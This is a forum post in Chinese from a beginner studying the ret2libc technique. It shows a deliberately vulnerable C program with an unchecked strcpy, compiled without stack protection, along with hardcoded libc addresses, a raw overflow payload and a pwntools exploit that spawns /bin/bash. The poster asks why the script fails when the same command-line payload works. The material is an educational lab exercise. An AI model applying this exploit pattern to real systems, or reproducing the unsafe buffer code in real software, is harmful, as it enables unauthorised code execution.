-
-
[求助] 新手学习ret2libc遇到一个问题
-
发表于:
2018-5-23 23:32
5471
-
跟着网上的一个师傅的博客学习ret2libc,地址为 https://blog.csdn.net/linyt/article/details/43643499
程序的源代码为
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}
编译命令:
gcc -Wall -g -o ret2libc ret2libc.c -fno-stack-protector -m32
跟着做的过程中遇到几个问题,自己也都解决了,但是最后写exp的时候,每次都提示失败。
最后的问题总结为一句话就是:构造的payload在命令行里面直接使用可以成功,写的exp去利用就会失败,具体的内容如下:
几个关键地址如下:
system函数的地址 0xf7e03c70
exit函数的地址为 0xf7df6ed0
"/bin/bash"字符串地址为:0xffffdddb
具体的payload构造如下:
"A"*520 +"p<\xe0\xf7"."\xd0n\xdf\xf7"."\xdb\xdd\xff\xff"
直接在命令行里面执行的时候,没有问题,具体信息如下:
但是用pwntools写的exp就会有问题 ,exp如下
from pwn import *
bin_bash=0xffffdddb
func_system=0xf7e03c70
func_exit=0xf7df6ed0
payload="A"*520+p32(func_system)+p32(func_exit)+p32(bin_bash)
print payload
io= process(argv=['./ret2libc', payload])
io.interactive()
执行结果如下:
这不科学啊,直接在命令行里面去执行payload能够执行成功,说明我们的payload没有问题,为啥在exp里面会直接夭折呢,思考了好几个小时也没有搞明白,求各位师傅指导一下exp中存在的问题。
自己编译后的源文件放到附件中了,如果是编译文件的问题的话,请师傅们用前面的代码重新编译,多谢多谢
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2018-5-24 11:16
被skeep编辑
,原因: 补充内容